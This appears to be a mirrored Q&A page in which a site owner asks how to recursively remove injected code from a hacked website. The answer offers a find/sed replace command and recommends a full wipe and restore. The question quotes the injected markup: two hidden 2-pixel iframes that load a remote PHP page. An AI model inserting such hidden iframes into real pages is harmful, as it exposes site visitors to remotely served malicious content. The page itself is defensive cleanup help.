简体   繁体   中英

Code injection help search and replace on linux

My website has been hacked and injected some of the code like this

<i>
    <iframe src="http://www.cascadecowcutters.org/wp-content/upgrade/update.php" width="2" height="2" frameborder="0"></iframe><iframe src="http://www.cascadecowcutters.org/wp-content/upgrade/update.php" width="2" height="2" frameborder="0"></iframe>
</i>

Is there a way in linux to search and replace this code to this ''? recursively

To 'find' all files and search and replace on those files:

find ./ -type f | xargs sed -i 's/string1/string2/g'

As Joakim mentioned in his comment, anytime you are dealing with a compromised server it is safest to do a complete wipe <> restore. Before restoration make sure to check for exploits. Make sure you know all your web apps are at their most recent version.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM